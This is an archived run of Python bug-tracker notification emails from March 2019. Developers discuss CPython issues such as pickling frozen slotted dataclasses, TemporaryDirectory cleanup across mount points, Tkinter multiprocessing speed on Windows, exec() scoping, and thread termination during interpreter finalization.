This has a straightforward workaround, namely to use `object.setattr`.

```
import pickle
from dataclasses import dataclass

@dataclass(frozen=True)
class A:
    __slots__ = ('a',)
    a: int

    def __getstate__(self):
        return dict(
            (slot, getattr(self, slot))
            for slot in self.__slots__
            if hasattr(self, slot)
        )

    def __setstate__(self, state):
        for slot, value in state.items():
            object.__setattr__(self, slot, value)


b = pickle.dumps(A(5))
pickle.loads(b)
```

It would be nice if this was fixed for all frozen, slotted dataclasses.

Originally report on SO: https://stackoverflow.com/questions/55307017/pickle-a-frozen-dataclass-that-has-slots

----------
messages: 338803
nosy: drhagen
priority: normal
severity: normal
status: open
title: Pickle fails on frozen dataclass that has slots
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36424>
_______________________________________

From report at bugs.python.org  Mon Mar 25 11:43:06 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Mon, 25 Mar 2019 15:43:06 +0000
Subject: [issue36422] tempfile.TemporaryDirectory() removes entire directory
 tree even if it's a mount-point
In-Reply-To: <1553512605.72.0.860422023516.issue36422@roundup.psfhosted.org>
Message-ID: <1553528586.67.0.107338130776.issue36422@roundup.psfhosted.org>


Josh Rosenberg <shadowranger+python at gmail.com> added the comment:

Allowing delete_on_error=False is kind of defeating the purpose here; the whole point of the with statement is guaranteed, consistent cleanup in both normal and error cases. If you knew enough to know you needed to pass delete_on_error, you'd also know enough to know you should be handling errors properly in the first place, e.g. by changing your mount_sshfs manager to:

    @contextmanager
    def mount_sshfs(localdir, remote):
        subprocess.run(f"sshfs {remote} {localdir}")
        try:
            yield
        finally:
            subprocess.run(f"fusermount -u {localdir}", check=True)

so it actually performed the guaranteed cleanup you expected from it.

I don't see anything wrong with adding a delete=True argument to TemporaryDirectory, though I'm not seeing it as being as useful as it is with TemporaryFile (since the "rewrite file to tempfile, atomic replace old file with new file" pattern for updating a file safely doesn't transfer directly to directories, where atomic renames aren't an option).

It just seems like your fundamental problem is code that doesn't properly handle failure, and I don't think the solution is to make TemporaryDirectory handle failure badly as well.

----------
nosy: +josh.r

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36422>
_______________________________________

From report at bugs.python.org  Mon Mar 25 11:50:55 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 25 Mar 2019 15:50:55 +0000
Subject: [issue36424] Pickle fails on frozen dataclass that has slots
In-Reply-To: <1553527088.82.0.636469633332.issue36424@roundup.psfhosted.org>
Message-ID: <1553529055.88.0.628913800138.issue36424@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +eric.smith

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36424>
_______________________________________

From report at bugs.python.org  Mon Mar 25 11:53:02 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Mon, 25 Mar 2019 15:53:02 +0000
Subject: [issue36408] Tkinter multi-processing performance,
 Linux 10-25 times faster than Windows 10
In-Reply-To: <1553356668.85.0.0833740641737.issue36408@roundup.psfhosted.org>
Message-ID: <1553529182.2.0.416096796599.issue36408@roundup.psfhosted.org>


Josh Rosenberg <shadowranger+python at gmail.com> added the comment:

Could you provide a minimal reproducer script? With multiprocessing involved, I'd suspect some issue with data sharing (Windows can't fork after all, so it's possible something is involved there).

I see nothing obvious in the _tkinter module that would explain this, which leaves Tk itself or multiprocess communications as the likely cause; a repro script would at least guide investigation.

----------
nosy: +josh.r

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36408>
_______________________________________

From report at bugs.python.org  Mon Mar 25 11:53:23 2019
From: report at bugs.python.org (Riccardo Murri)
Date: Mon, 25 Mar 2019 15:53:23 +0000
Subject: [issue36422] tempfile.TemporaryDirectory() removes entire directory
 tree even if it's a mount-point
In-Reply-To: <1553512605.72.0.860422023516.issue36422@roundup.psfhosted.org>
Message-ID: <1553529203.63.0.587961025802.issue36422@roundup.psfhosted.org>


Riccardo Murri <riccardo.murri at gmail.com> added the comment:

> you should be handling errors properly in the first place,
> e.g. by changing your mount_sshfs manager to:
>
>     @contextmanager
>     def mount_sshfs(localdir, remote):
>         subprocess.run(f"sshfs {remote} {localdir}")
>         try:
>             yield
>         finally:
>             subprocess.run(f"fusermount -u {localdir}", check=True)
>
> so it actually performed the guaranteed cleanup you expected from it.

This would fix the case where errors occur in the "yield" part of the
`mount_sshfs` context manager, but would not protect from errors *in
the `fusermount -u` call itself*: if `fusermount -u` fails and throws
an exception, the entire mounted filesystem will be erased.

I would contend that, in general, `TemporaryDirectory.cleanup()`
should stop at filesystem boundaries and not descend filesystems
mounted in the temporary directory tree (whether the mount has been
done via a context manager as in the example above or by any other
means is irrelevant).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36422>
_______________________________________

From report at bugs.python.org  Mon Mar 25 11:56:42 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Mon, 25 Mar 2019 15:56:42 +0000
Subject: [issue35473] Intel compiler (icc) does not fully support C11 Features, 
 including atomics
In-Reply-To: <1544637027.92.0.788709270274.issue35473@psf.upfronthosting.co.za>
Message-ID: <1553529402.62.0.609788197983.issue35473@roundup.psfhosted.org>


Josh Rosenberg <shadowranger+python at gmail.com> added the comment:

Perhaps an alternative solution would be to provide conditional definitions for the stuff ICC leaves out? I'm assuming ICC can actually handle _Atomic uintptr_t if you type it out, it's just missing the typedef for it for whatever reason?

----------
nosy: +josh.r

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35473>
_______________________________________

From report at bugs.python.org  Mon Mar 25 12:14:38 2019
From: report at bugs.python.org (Steve Dower)
Date: Mon, 25 Mar 2019 16:14:38 +0000
Subject: [issue36408] Tkinter multi-processing performance,
 Linux 10-25 times faster than Windows 10
In-Reply-To: <1553356668.85.0.0833740641737.issue36408@roundup.psfhosted.org>
Message-ID: <1553530478.01.0.962862670845.issue36408@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Windows only allows a single thread to access Win32 GUI elements at a time, and I'm fairly sure whichever part of Tcl/Tk/Tkinter is responsible for this makes sure it happens.

So if you're throwing lots of UI updates at the UI thread, then yeah, you're going to cause massive contention there. Not sure there's any way around it other than "don't do that" - while you *could* lock individual data structures, Windows doesn't permit that because it turns out people get it wrong and make programs that crash.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36408>
_______________________________________

From report at bugs.python.org  Mon Mar 25 12:55:09 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 25 Mar 2019 16:55:09 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553532909.89.0.258357503372.issue36301@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset f72346c47537657a287a862305f65eb5d7594fbf by Victor Stinner in branch 'master':
bpo-36301: Cleanup preconfig code (GH-12535)
https://github.com/python/cpython/commit/f72346c47537657a287a862305f65eb5d7594fbf


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Mon Mar 25 12:58:34 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 25 Mar 2019 16:58:34 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553533114.05.0.543528024196.issue36301@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Note for myself: is there a problem between the priority of PYTHONHOME env var and pybuilddir.txt configuration file?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Mon Mar 25 13:01:41 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 25 Mar 2019 17:01:41 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553533301.17.0.28521028107.issue36301@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12486

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Mon Mar 25 13:26:49 2019
From: report at bugs.python.org (Shengjing Zhu)
Date: Mon, 25 Mar 2019 17:26:49 +0000
Subject: [issue36425] Add Simplified Chinese to the language switcher
Message-ID: <1553534809.43.0.761682009724.issue36425@roundup.psfhosted.org>


New submission from Shengjing Zhu <zsj950618 at gmail.com>:

Just checked on transifex, the Simplified Chinese translation has reached

- 100% of bugs.html
- 100% of tutorial
- 100% of library/functions (builtins)

So, let's add it to the language switcher

{
    'zh-cn': 'Simplified Chinese'
}

And backport it to 3.7 branch.

----------
assignee: docs at python
components: Documentation
messages: 338811
nosy: docs at python, mdk, xiang.zhang, zhsj
priority: normal
severity: normal
status: open
title: Add Simplified Chinese to the language switcher
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36425>
_______________________________________

From report at bugs.python.org  Mon Mar 25 13:31:05 2019
From: report at bugs.python.org (=?utf-8?q?Domen_Jurkovi=C4=8D?=)
Date: Mon, 25 Mar 2019 17:31:05 +0000
Subject: [issue36426] exec() issue when used inside function
Message-ID: <1553535065.81.0.184329137426.issue36426@roundup.psfhosted.org>


New submission from Domen Jurkovi? <domen.jurkovic at gmail.com>:

I've reported a stack overflow question and no reasonable explation was offered. Here is what I've discovered:
.. code-block:: python
    def func():
        varName = 'bar'
        varValue = 42
        localVarToEvaluate = varName + ' = varValue'

        try:
            exec(localVarToEvaluate)
        except Exception as err:
            print(str(err))
        
        if 'bar' in locals():
            # print(locals()['bar']) # (1) OK
            # print(bar)  # (2) ERR
            #print("'bar' OK:", bar)  # (3) ERR
            pass # uncomment any line above

    func()

After ``exec()`` is executed, ``bar`` can be seen in ``locals()``, but not accessible by intereter. Also, It can be accessed by directly calling ``print(locals()['bar'](``, but not ``print(bar)``.

This is the problem as long as the code is wrapped in function. If the same code is placed in the module body, works as expected. 

Is there any exaplanation for such behaviour, or is this a bug?

----------
components: Interpreter Core, Windows
messages: 338812
nosy: paul.moore, schperplata, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: exec() issue when used inside function
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36426>
_______________________________________

From report at bugs.python.org  Mon Mar 25 13:33:54 2019
From: report at bugs.python.org (=?utf-8?q?Domen_Jurkovi=C4=8D?=)
Date: Mon, 25 Mar 2019 17:33:54 +0000
Subject: [issue36426] exec() issue when used inside function
In-Reply-To: <1553535065.81.0.184329137426.issue36426@roundup.psfhosted.org>
Message-ID: <1553535234.16.0.607958528332.issue36426@roundup.psfhosted.org>


Domen Jurkovi? <domen.jurkovic at gmail.com> added the comment:

Seems like I don't know how to write a code here. 
Anyway, issue created on stack overflow can be found on:
https://stackoverflow.com/questions/55239875/python-exec-function-broken-in-versions-above-2-7-error-name-not-defined/55240000?noredirect=1#comment97362021_55240000

Works on 2.7, fails on everything above 3.x

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36426>
_______________________________________

From report at bugs.python.org  Mon Mar 25 13:34:40 2019
From: report at bugs.python.org (Shengjing Zhu)
Date: Mon, 25 Mar 2019 17:34:40 +0000
Subject: [issue36425] Add Simplified Chinese to the language switcher
In-Reply-To: <1553534809.43.0.761682009724.issue36425@roundup.psfhosted.org>
Message-ID: <1553535280.59.0.926636537197.issue36425@roundup.psfhosted.org>


Change by Shengjing Zhu <zsj950618 at gmail.com>:


----------
keywords: +patch
pull_requests: +12487
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36425>
_______________________________________

From report at bugs.python.org  Mon Mar 25 13:37:15 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 25 Mar 2019 17:37:15 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553535435.09.0.987399759139.issue36301@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset a6fbc4e25e1dc7d1c9a26888b9115bc6c2afc101 by Victor Stinner in branch 'master':
bpo-36301: Add _Py_PreInitializeFromConfig() (GH-12536)
https://github.com/python/cpython/commit/a6fbc4e25e1dc7d1c9a26888b9115bc6c2afc101


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Mon Mar 25 14:05:33 2019
From: report at bugs.python.org (Jacques Gaudin)
Date: Mon, 25 Mar 2019 18:05:33 +0000
Subject: [issue36424] Pickle fails on frozen dataclass that has slots
In-Reply-To: <1553527088.82.0.636469633332.issue36424@roundup.psfhosted.org>
Message-ID: <1553537133.19.0.225126473912.issue36424@roundup.psfhosted.org>


Change by Jacques Gaudin <jagaudin at gmail.com>:


----------
nosy: +jagaudin

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36424>
_______________________________________

From report at bugs.python.org  Mon Mar 25 14:05:39 2019
From: report at bugs.python.org (Ethan Furman)
Date: Mon, 25 Mar 2019 18:05:39 +0000
Subject: [issue31369] re.RegexFlag is not included in __all__,
 makes type inference less useful
In-Reply-To: <1504730402.58.0.544251648863.issue31369@psf.upfronthosting.co.za>
Message-ID: <1553537139.58.0.155800620662.issue31369@roundup.psfhosted.org>


Ethan Furman <ethan at stoneleaf.us> added the comment:

I see no reason no prefix `RegexFlag` with an `_`.

As far as adding it to `__all__` -- I didn't originally because I was trying to mirror the original implementation, but I am not against it.  I would defer that decision to those that work on typing.

----------
assignee: docs at python -> 
components:  -Documentation
nosy: +gvanrossum, levkivskyi
title: re.RegexFlag is not included in __all__ -> re.RegexFlag is not included in __all__, makes type inference less useful

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31369>
_______________________________________

From report at bugs.python.org  Mon Mar 25 14:07:51 2019
From: report at bugs.python.org (Mark Dickinson)
Date: Mon, 25 Mar 2019 18:07:51 +0000
Subject: [issue36228] Support coercion of complex to float/int
In-Reply-To: <1551990077.56.0.757483742066.issue36228@roundup.psfhosted.org>
Message-ID: <1553537271.5.0.711665595698.issue36228@roundup.psfhosted.org>


Mark Dickinson <dickinsm at gmail.com> added the comment:

@nagayev I applaud your enthusiasm here, but multiple core developers have already rejected your suggestions in this discussion. Given that, it would probably not be a great use of your time to pursue this.

Maybe you could take a look around the bug tracker for other possible issues you might be interested in pursuing instead?

If you did wanted to pursue this issue[*] in spite of the discussion above (who knows: maybe the core devs who responded on this issue are all misguided, or maybe we're all missing an obvious use case), your best bet would be to bring it up for wider discussion on the python-ideas mailing list.

[*] There are really two issues in this discussion, not one: there's one about `__float__` and `__int__` for complex numbers, and one for extending `floor` and `ceil` to complex numbers, but my understanding of the discussion is that both those have been rejected at this point.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36228>
_______________________________________

From report at bugs.python.org  Mon Mar 25 14:15:15 2019
From: report at bugs.python.org (Brett Cannon)
Date: Mon, 25 Mar 2019 18:15:15 +0000
Subject: [issue36298] Lib/pyclbr.py crashes when the package spec cannot be
 determined by importlib
In-Reply-To: <1552628606.85.0.83377686134.issue36298@roundup.psfhosted.org>
Message-ID: <1553537715.31.0.646154383358.issue36298@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

Thanks, mental!

----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36298>
_______________________________________

From report at bugs.python.org  Mon Mar 25 14:31:55 2019
From: report at bugs.python.org (Brett Cannon)
Date: Mon, 25 Mar 2019 18:31:55 +0000
Subject: [issue36404] Document PendingDeprecationWarning as deprecated
Message-ID: <1553538715.02.0.986266274039.issue36404@roundup.psfhosted.org>


Change by Brett Cannon <brett at python.org>:


----------
nosy: +brett.cannon

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36404>
_______________________________________

From report at bugs.python.org  Mon Mar 25 14:39:37 2019
From: report at bugs.python.org (Rohit travels and tours)
Date: Mon, 25 Mar 2019 18:39:37 +0000
Subject: [issue36425] Add Simplified Chinese to the language switcher
In-Reply-To: <1553534809.43.0.761682009724.issue36425@roundup.psfhosted.org>
Message-ID: <1553539177.6.0.0400032149406.issue36425@roundup.psfhosted.org>


Change by Rohit travels and tours <roufique at rtat.net>:


----------
type:  -> resource usage

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36425>
_______________________________________

From report at bugs.python.org  Mon Mar 25 14:45:29 2019
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Mon, 25 Mar 2019 18:45:29 +0000
Subject: [issue36205] Python 3.7 and 3.8 process_time is not reported
 correctly when built on older macOS versions
In-Reply-To: <1551839026.38.0.329984439989.issue36205@roundup.psfhosted.org>
Message-ID: <1553539529.98.0.724737397434.issue36205@roundup.psfhosted.org>


?ukasz Langa <lukasz at langa.pl> added the comment:

Looks like this will have to be broken for 3.8.0a3, too. I will mark this as a release blocker for a4 though.

----------
nosy: +lukasz.langa

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36205>
_______________________________________

From report at bugs.python.org  Mon Mar 25 15:08:25 2019
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Mon, 25 Mar 2019 19:08:25 +0000
Subject: [issue33725] Python crashes on macOS after fork with no exec
In-Reply-To: <1527814386.62.0.682650639539.issue33725@psf.upfronthosting.co.za>
Message-ID: <1553540905.49.0.309450172265.issue33725@roundup.psfhosted.org>


?ukasz Langa <lukasz at langa.pl> added the comment:

It's trivial but not safe in the sense that code that previously depended on some global state setup done in the master process right before fork will stop working. If this code is a library that is not in your control, you might not be able to "just revert" to fork mode easily.

And that change should be made for every platform so it will affect a much broader group of users than are affected by *this* issue.

Another thing is that some application packagers (at least Facebook's XAR but probably many others) don't work with "start" by default.

So don't take this lightly, just as Davin is saying. That being said, it's probably wise to change the default to "start" which is a better method. And if we *are* changing, doing it sooner rather than later makes the most sense.

----------
nosy: +lukasz.langa

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33725>
_______________________________________

From report at bugs.python.org  Mon Mar 25 15:25:19 2019
From: report at bugs.python.org (Eric V. Smith)
Date: Mon, 25 Mar 2019 19:25:19 +0000
Subject: [issue36424] Pickle fails on frozen dataclass that has slots
In-Reply-To: <1553527088.82.0.636469633332.issue36424@roundup.psfhosted.org>
Message-ID: <1553541919.31.0.750962113153.issue36424@roundup.psfhosted.org>


Change by Eric V. Smith <eric at trueblade.com>:


----------
assignee:  -> eric.smith

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36424>
_______________________________________

From report at bugs.python.org  Mon Mar 25 15:53:58 2019
From: report at bugs.python.org (J.E.McCormack)
Date: Mon, 25 Mar 2019 19:53:58 +0000
Subject: [issue36408] Tkinter multi-processing performance,
 Linux 10-25 times faster than Windows 10
In-Reply-To: <1553356668.85.0.0833740641737.issue36408@roundup.psfhosted.org>
Message-ID: <1553543638.17.0.661514721788.issue36408@roundup.psfhosted.org>


J.E.McCormack <jamesisub at gmail.com> added the comment:

I can run four independent processes (i.e. not using multiprocessing, with no links at all between them) yet the results show that only one core is running. Where is this lock taking place? Why would a tkinter process need to know about another tkinter process?
	
A little bit of history I have learned is that prior to Windows 7, the GDI sub-system imposed a global lock system-wide so that only one process (one thread) could write to the display at one time. This meant in effect it was a one-core GUI desktop. From Windows 7, this was supposed to have been 'fixed', but all I have read is that the "GDI lock became more fine-grained, reducing concurrency bottlenecks". I wonder did anyone ever measure performance in real-world scenarios to demonstrate whether there was in fact any improvement?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36408>
_______________________________________

From report at bugs.python.org  Mon Mar 25 16:01:18 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 25 Mar 2019 20:01:18 +0000
Subject: [issue36326] Teach inpsect.getdoc() to read __slots__ with an
 optional data dictionary
In-Reply-To: <1552817476.02.0.169886885887.issue36326@roundup.psfhosted.org>
Message-ID: <1553544078.6.0.318212018479.issue36326@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:


New changeset d1e768a67707bf7bb426c1537e1a764e89eaff78 by Raymond Hettinger in branch 'master':
bpo-36326: Let inspect.getdoc() find docstrings for __slots__ (GH-12498)
https://github.com/python/cpython/commit/d1e768a67707bf7bb426c1537e1a764e89eaff78


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36326>
_______________________________________

From report at bugs.python.org  Mon Mar 25 16:02:44 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 25 Mar 2019 20:02:44 +0000
Subject: [issue36326] Teach inpsect.getdoc() to read __slots__ with an
 optional data dictionary
In-Reply-To: <1552817476.02.0.169886885887.issue36326@roundup.psfhosted.org>
Message-ID: <1553544164.78.0.561647790628.issue36326@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36326>
_______________________________________

From report at bugs.python.org  Mon Mar 25 16:51:04 2019
From: report at bugs.python.org (Stefan Krah)
Date: Mon, 25 Mar 2019 20:51:04 +0000
Subject: [issue36370] Check for PyErr_Occurred() after PyImport_GetModule().
In-Reply-To: <1553022103.99.0.827688349588.issue36370@roundup.psfhosted.org>
Message-ID: <1553547064.8.0.409962898552.issue36370@roundup.psfhosted.org>


Stefan Krah <stefan at bytereef.org> added the comment:


New changeset 027b09c5a13aac9e14a3b43bb385298d549c3833 by Stefan Krah in branch 'master':
bpo-36370: Check for PyErr_Occurred() after PyImport_GetModule() (GH-12504)
https://github.com/python/cpython/commit/027b09c5a13aac9e14a3b43bb385298d549c3833


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36370>
_______________________________________

From report at bugs.python.org  Mon Mar 25 16:52:35 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 25 Mar 2019 20:52:35 +0000
Subject: [issue36370] Check for PyErr_Occurred() after PyImport_GetModule().
In-Reply-To: <1553022103.99.0.827688349588.issue36370@roundup.psfhosted.org>
Message-ID: <1553547155.71.0.960367236437.issue36370@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12488

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36370>
_______________________________________

From report at bugs.python.org  Mon Mar 25 17:31:46 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 25 Mar 2019 21:31:46 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553549506.09.0.395817371829.issue36301@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12489

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Mon Mar 25 17:36:48 2019
From: report at bugs.python.org (Stefan Krah)
Date: Mon, 25 Mar 2019 21:36:48 +0000
Subject: [issue36370] Check for PyErr_Occurred() after PyImport_GetModule().
In-Reply-To: <1553022103.99.0.827688349588.issue36370@roundup.psfhosted.org>
Message-ID: <1553549808.56.0.439760797191.issue36370@roundup.psfhosted.org>


Stefan Krah <stefan at bytereef.org> added the comment:


New changeset cdd8d4d6dd57f4c9429566706009d4613277d391 by Stefan Krah (Miss Islington (bot)) in branch '3.7':
bpo-36370: Check for PyErr_Occurred() after PyImport_GetModule() (GH-12504)
https://github.com/python/cpython/commit/cdd8d4d6dd57f4c9429566706009d4613277d391


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36370>
_______________________________________

From report at bugs.python.org  Mon Mar 25 17:40:26 2019
From: report at bugs.python.org (Stefan Krah)
Date: Mon, 25 Mar 2019 21:40:26 +0000
Subject: [issue36370] Check for PyErr_Occurred() after PyImport_GetModule().
In-Reply-To: <1553022103.99.0.827688349588.issue36370@roundup.psfhosted.org>
Message-ID: <1553550026.88.0.946644281686.issue36370@roundup.psfhosted.org>


Stefan Krah <stefan at bytereef.org> added the comment:

It looks like 3.6 is in security-fix only mode, so it cannot be backported there.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36370>
_______________________________________

From report at bugs.python.org  Mon Mar 25 18:01:24 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Mon, 25 Mar 2019 22:01:24 +0000
Subject: [issue36143] Auto-generate Lib/keyword.py
In-Reply-To: <1551327070.18.0.354102770805.issue36143@roundup.psfhosted.org>
Message-ID: <1553551284.54.0.177144874826.issue36143@roundup.psfhosted.org>


Change by Pablo Galindo Salgado <pablogsal at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36143>
_______________________________________

From report at bugs.python.org  Mon Mar 25 18:01:32 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Mon, 25 Mar 2019 22:01:32 +0000
Subject: [issue36143] Auto-generate Lib/keyword.py
In-Reply-To: <1551327070.18.0.354102770805.issue36143@roundup.psfhosted.org>
Message-ID: <1553551292.73.0.893282318076.issue36143@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:


New changeset 91759d98015e1d6d5e1367cff60592ab548e7806 by Pablo Galindo in branch 'master':
bpo-36143: Regenerate Lib/keyword.py from the Grammar and Tokens file using pgen (GH-12456)
https://github.com/python/cpython/commit/91759d98015e1d6d5e1367cff60592ab548e7806


----------
nosy: +pablogsal

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36143>
_______________________________________

From report at bugs.python.org  Mon Mar 25 18:14:35 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Mon, 25 Mar 2019 22:14:35 +0000
Subject: [issue36427] Document that PyEval_RestoreThread and PyGILState_Ensure
 can terminate the calling thread
Message-ID: <1553552075.96.0.382616254369.issue36427@roundup.psfhosted.org>


New submission from Pablo Galindo Salgado <pablogsal at gmail.com>:

Currently PyEval_RestoreThread and its callers (mainly PyGILState_Ensure) can terminate the thread if the interpreter is finalizing:

PyEval_RestoreThread(PyThreadState *tstate)
{
    if (tstate == NULL)
        Py_FatalError("PyEval_RestoreThread: NULL tstate");
    assert(gil_created());

    int err = errno;
    take_gil(tstate);
    /* _Py_Finalizing is protected by the GIL */
    if (_Py_IsFinalizing() && !_Py_CURRENTLY_FINALIZING(tstate)) {
        drop_gil(tstate);
        PyThread_exit_thread();
        Py_UNREACHABLE();
    }
    errno = err;

    PyThreadState_Swap(tstate);
}

This behaviour that protects against problems due to daemon threads registered with the interpreter can be *very* surprising for C-extensions that are using these functions to implement callbacks that can call into Python. These callbacks threads are not owned by the interpreter and are usually joined by someone else, ending in deadlocks in many situations.

I propose to add a warning to the documentation to inform users about this situation.

----------
components: Interpreter Core
messages: 338826
nosy: eric.snow, pablogsal, pitrou, vstinner
priority: normal
severity: normal
status: open
title: Document that PyEval_RestoreThread and PyGILState_Ensure can terminate the calling thread
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36427>
_______________________________________

From report at bugs.python.org  Mon Mar 25 18:15:27 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Mon, 25 Mar 2019 22:15:27 +0000
Subject: [issue36427] Document that PyEval_RestoreThread and PyGILState_Ensure
 can terminate the calling thread
In-Reply-To: <1553552075.96.0.382616254369.issue36427@roundup.psfhosted.org>
Message-ID: <1553552127.18.0.889794869112.issue36427@roundup.psfhosted.org>


Change by Pablo Galindo Salgado <pablogsal at gmail.com>:


----------
keywords: +patch
pull_requests: +12490
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36427>
_______________________________________

From report at bugs.python.org  Mon Mar 25 18:16:24 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 25 Mar 2019 22:16:24 +0000
Subject: [issue36427] Document that PyEval_RestoreThread and PyGILState_Ensure
 can terminate the calling thread
In-Reply-To: <1553552075.96.0.382616254369.issue36427@roundup.psfhosted.org>
Message-ID: <1553552184.84.0.0177944422106.issue36427@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> if (_Py_IsFinalizing() && !_Py_CURRENTLY_FINALIZING(tstate))

_Py_IsFinalizing() check is redundant :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36427>
_______________________________________

From report at bugs.python.org  Mon Mar 25 18:17:33 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 25 Mar 2019 22:17:33 +0000
Subject: [issue36427] Document that PyEval_RestoreThread and PyGILState_Ensure
 can terminate the calling thread
In-Reply-To: <1553552075.96.0.382616254369.issue36427@roundup.psfhosted.org>
Message-ID: <1553552253.88.0.810567328311.issue36427@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

